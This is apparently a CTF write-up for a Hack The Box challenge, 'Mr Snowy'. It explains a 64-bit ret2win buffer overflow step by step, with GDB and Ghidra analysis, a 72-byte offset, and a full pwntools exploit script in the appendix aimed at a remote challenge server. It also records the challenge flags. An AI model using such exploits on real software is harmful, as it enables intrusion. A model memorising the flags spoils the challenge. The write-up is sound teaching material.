Challenge File: pwn_mr_snowy.zip
Exploitation Technique: ret2win - Overwrite RIP in a 64-Bit binary to jump to a function that prints flag.txt.
Summary: This is a beginner-intermediate level binary exploitation challenge where you overwrite the RIP address and have it jump to a function that opens the flag.txt file.
I categorize this as possible intermediate because it's a 64-bit Linux binary, and when I started with exploitation, 64-bit things tripped me up. However, one can argue once you understand x64 exploitation, it's beginner level. I'm more humble about how hard things can be because I remember how hard things were when I first started, so I always rate things harder than they actually are. Anyways, let's get started!
Details:
The challenge zip contained two files:
- flag.txt - Contained a fake flag: HTB{f4k3_fl4g_4_t3st1ng}
- mr_snowy - Challenge Binary
The first thing I always do is run "file" and "checksec" on the binary to get a snapshot of what we're dealing with:
file mr_snowy
mr_snowy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d6143c5f2214b3fe5c3569e23bd53666c7f7a366, not stripped
From this, we learn the binary is 64-bit, uses libraries like libc.so, and is not stripped, so we can easily debug or decompile and clearly see the function names. So far so good.
checksec mr_snowy
Arch: amd64-64-little # Arguments pulled from RDI, RSI, RDX, RCX
RELRO: Full RELRO # Can't overwrite GOT addresses
Stack: No canary found # Good
NX: NX enabled # Can't inject shellcode
PIE: No PIE (0x400000) # Hard coded addresses
From this, we learn we can't inject shellcode because the NX bit is enabled, so we'll find another method to get a shell. "No PIE" is always a blessing because it means we can jump to any address in the binary using the addresses given in any debugging tool without needing to calculate the base address first.
Let's run the binary to see what it does. Believe it or not, I always forget to run the binary until way later because I get lost in my initial analysis mental checklist:
The first thing to note is that the text prints to the screen VERY slowly, 8-bit RPG style, so later when we use Pwntools to read the input, we need to make sure we have our timeout settings higher. We don't want our exploit code exiting too early because it was impatient.
First of all, option "2. Let it be" immediately exits, as well as option "2. Break it" in the next menu. So, we need to focus on just pressing "1. Investigate" and "1. Deactivate". By default, this also causes the program to immediately exit with "You do not know the password!" It exits without giving us a chance to input a password! Not fair! Good thing we're hackers amrite!? 😂
Okay, let's dig in to understand how the binary works. Our goal is to find any way we can type in lots of input to overflow a buffer (Buffer Overflow? Get it!?) Alrighty, next, I run the binary in GDB and print out it's functions with "info functions" and note potentially useful functions that's custom to this binary:
0x0000000000400acf rainbow0x0000000000400d3b color0x00000000004010ed printstr0x0000000000401165 deactivate_camera0x0000000000401278 banner0x0000000000401374 investigate0x000000000040146a snowman0x00000000004014f1 setup0x000000000040153e main
I decompile the binary in Ghidra to understand these functions, keeping in mind to hunt for our buffer overflow input spot. I always start with main() if one exists, and one does!
void investigate(void) {char local_48 [64];read(0, local_48, 264);}
GOAL: Fill the buffer with A's and try to get exactly 8 B's to show up in RIP as a placeholder.
Side Note - We try to squeeze 8 B's because 64-bit systems use 8-byte addresses, each letter is a byte. If this was a 32-bit binary, we'd squeeze 4 B's into EIP.
We'll replace the B's with an address later to tell the code to jump somewhere else at the return of the investigate() function. Since the buffer is 64 bytes, 8 bytes of RBP always goes after the buffer followed by 8 bytes of RIP, so basic math says:
64 Bytes + 8(RBP) + 8(RIP) =
72(A's) + 8(RIP)
What this means is, we put 72 A's followed by 8 B's, in which the B's should end up in RIP (in which we'll illustrate with GDB). Before we dive in, we need to remember to press "1. Investigate" to pass through the first menu, THEN we can inject our A's and B's payload. First, we need to set a breakpoint at the "ret" at the end of the function taking our input, in this case, it's investigate().
In GDB, disassemble the investigate function like this to see all it's instructions and addresses, but note the "ret" address at the end:
(gdb) disassemble investigate
0x0000000000401469 <+245>: ret
Set a breakpoint at that address in GDB like this:
(gdb) break *0x0000000000401469
Alternatively, you could set the breakpoint using it's line number you see in it's instruction line:
(gdb) break *investigate+245
Now we can run the binary with our payload input and see if our B's end up in RIP. In GDB, this is the way you feed Python output as input to a binary through STDIN:
(gdb) r <<< $(python -c 'print "1\n" + "A"*72 + "B"*8')
*Note the "1\n" to signify we inserted "1" then pressed <Enter>.
GDB runs, then breaks at "ret". Type "info frame" to see if the B's showed up in "Saved RIP"
CHECK IT OUT! Hex 0x42 stands for ASCII "B". Saved RIP is where the program jumps to when it returns. In 64-bit binaries, if you ran the program until it seg faults, you won't see the B's directly in the RIP register because 64-bit requires only real addresses in the RIP register. You would only see the address of the last instruction (ret) before it seg faulted. In 32-bit binaries, you would see "0x42424242" aka "BBBB" in EIP after seg faulting.
Anyways, now we have proof of concept that we can jump anywhere we want. The question is, "Where do we want to go!?"
This reminded me the challenge zip came with a fake flag placeholder called "flag.txt", which means, they intend us to read that file somewhere. So I went back to Ghidra and reviewed the decompiled code for all the C functions to look for "flag.txt" in the source, and found it in an uncalled function called "deactivate_camera()":
void deactivate(void) {local_38 = fopen("flag.txt","rb");}
(gdb) disassemble deactivate_camera
0x0000000000401165 <+0>: push rbp
However, we can't continue to use our one-liner in GDB since the address contains zeros or 0x00 null bytes, and the bash command line ignores the null bytes when it inputs it into the binary. BUT! Since this program uses read() to take in user input, the read() function in itself does NOT ignore the zeros if we gave it user input the proper way. Therefore, we need to use Pwntools, which is more productive practice anyway since that's the bread and butter of more advanced binary exploitations.
This is not a Pwntools writeup, so I won't go into details (full exploit code in Appendix). In our script, this is the payload:
deactivate = 0x0000000000401165payload = "A"*72 + p64(deactivate)
p.sendline(payload)p.interactive()
Output: It's our fake flag!!!
[+] Here is the secret password to deactivate the camera: HTB{f4k3_fl4g_4_t3st1ng}
Trying again on the real target with Pwntools gives the REAL flag:
HTB{n1c3_try_3lv35_but_n0t_g00d_3n0ugh}
In CTF Pwn, these functions that print out the flag are called "flag functions" because it's like an auto-win. Typical exploitations, we need to hack our way into a full shell, find and cat out the flag. A "flag function" typically represents a "beginner friendly pwn challenge."
That's all folks! Hope you learned something!
APPENDIX:
-----------------------------------------------------------------------------------------------------------
### <solution.py>
from pwn import *
#p = process("./mr_snowy")
p = remote('178.128.35.31', 30491)
#gdb.attach(p, '''
#break *0x4013bc
#c
#''')
print(p.recvuntil('> ', timeout=8)) # First menu
p.sendline('1') # Investigate
print(p.recvuntil('> ', timeout=8)) # Second menu
deactivate = 0x0000000000401165
payload = "A"*72 + p64(deactivate)
p.sendline(payload)
p.interactive()
p.close()
-----------------------------------------------------------------------------------------------------------
